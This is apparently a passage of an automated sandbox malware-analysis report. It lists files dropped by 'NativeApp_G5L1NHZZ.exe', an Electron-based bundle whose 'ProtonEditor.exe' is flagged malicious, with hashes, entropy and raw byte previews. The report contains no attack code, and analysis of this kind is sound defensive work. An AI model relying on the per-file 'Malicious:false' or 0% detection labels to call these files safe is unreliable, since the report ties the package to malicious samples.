                                                                                                                                                                                                                                                                Size (bytes):64
                                                                                                                                                                                                                                                                Entropy (8bit):1.1510207563435464
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:NlllulPki/llllZ:NllUcylll
                                                                                                                                                                                                                                                                MD5:D8D47FD6FA3E199E4AFF68B91F1D04A8
                                                                                                                                                                                                                                                                SHA1:788625E414B030E5174C5BE7262A4C93502C2C21
                                                                                                                                                                                                                                                                SHA-256:2D9AF9AB25D04D1CF9B25DB196A988CD6E4124C1B8E185B96F2AB9554F4A6738
                                                                                                                                                                                                                                                                SHA-512:5BFD83D07DC3CB53563F215BE1D4D7206340A4C0AB06988697637C402793146D13CDDE0E27DC8301E4506553D957876AC9D7A7BF3C7431BBDD5F019C17AB0A58
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:@...e.................................^..............@..........

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\LICENSE.electron.txt

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:ASCII text
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):1096
                                                                                                                                                                                                                                                                Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                                                MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                                                SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                                                SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                                                SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\LICENSES.chromium.html

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:HTML document, ASCII text
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):8312662
                                                                                                                                                                                                                                                                Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                                                MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                                                SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                                                SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                                                SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):160112640
                                                                                                                                                                                                                                                                Entropy (8bit):6.744387492953575
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:1572864:3LBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:3ypCmJctBjj2+Jv
                                                                                                                                                                                                                                                                MD5:1CD5781EFBCF327826A48CD866800010
                                                                                                                                                                                                                                                                SHA1:948AEF85AE216EA83A942C246F3CD10123BADF03
                                                                                                                                                                                                                                                                SHA-256:48F422BF2B878D142F376713A543D113E9F964F6761D15D4149A4D71441739E5
                                                                                                                                                                                                                                                                SHA-512:E1FB734BF7D6F9E6096F8CD8CE1AD3DDF4F8F5A1B78AC7352DE0290E37FCC5246E714C4B5C6F60FE9B66FA54ECE303FC0012210BCE7B8B585EF3AA86A63FA910
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...........F.........@.............................P............`...........................................+.. ..0"..h............Pt.._@..................!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc................xz.............@..@.reloc...............|.............@..B................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\chrome_100_percent.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):127125
                                                                                                                                                                                                                                                                Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                                                MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                                                SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                                                SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                                                SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\chrome_200_percent.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):177406
                                                                                                                                                                                                                                                                Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                                                MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                                                SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
                                                                                                                                                                                                                                                                SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                                                SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\d3dcompiler_47.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):4916712
                                                                                                                                                                                                                                                                Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                                                MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                                                SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                                                SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                                                SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Joe Sandbox View:
                                                                                                                                                                                                                                                                • Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: AyqwnIUrcz.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: nanophanotool.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: 9VbeqQbgU4.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: 9VbeqQbgU4.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: MayitaV16.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                • Filename: Xa04iTOvv5.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ffmpeg.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):2883072
                                                                                                                                                                                                                                                                Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                                                MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                                                SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
                                                                                                                                                                                                                                                                SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                                                SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\icudtl.dat

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):10542048
                                                                                                                                                                                                                                                                Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                                                MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                                                SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                                                SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                                                SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libEGL.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):481280
                                                                                                                                                                                                                                                                Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                                                MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                                                SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                                                SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                                                SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libGLESv2.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):7625728
                                                                                                                                                                                                                                                                Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                                                MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                                                SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                                                SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                                                SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\af.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):377708
                                                                                                                                                                                                                                                                Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                                                MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                                                SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                                                SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                                                SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\am.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):613642
                                                                                                                                                                                                                                                                Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                                                MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                                                SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                                                SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                                                SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\ar.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):671738
                                                                                                                                                                                                                                                                Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                                                MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                                                SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                                                SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                                                SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\locales\bg.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):701716
                                                                                                                                                                                                                                                                Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                                                Encrypted:false
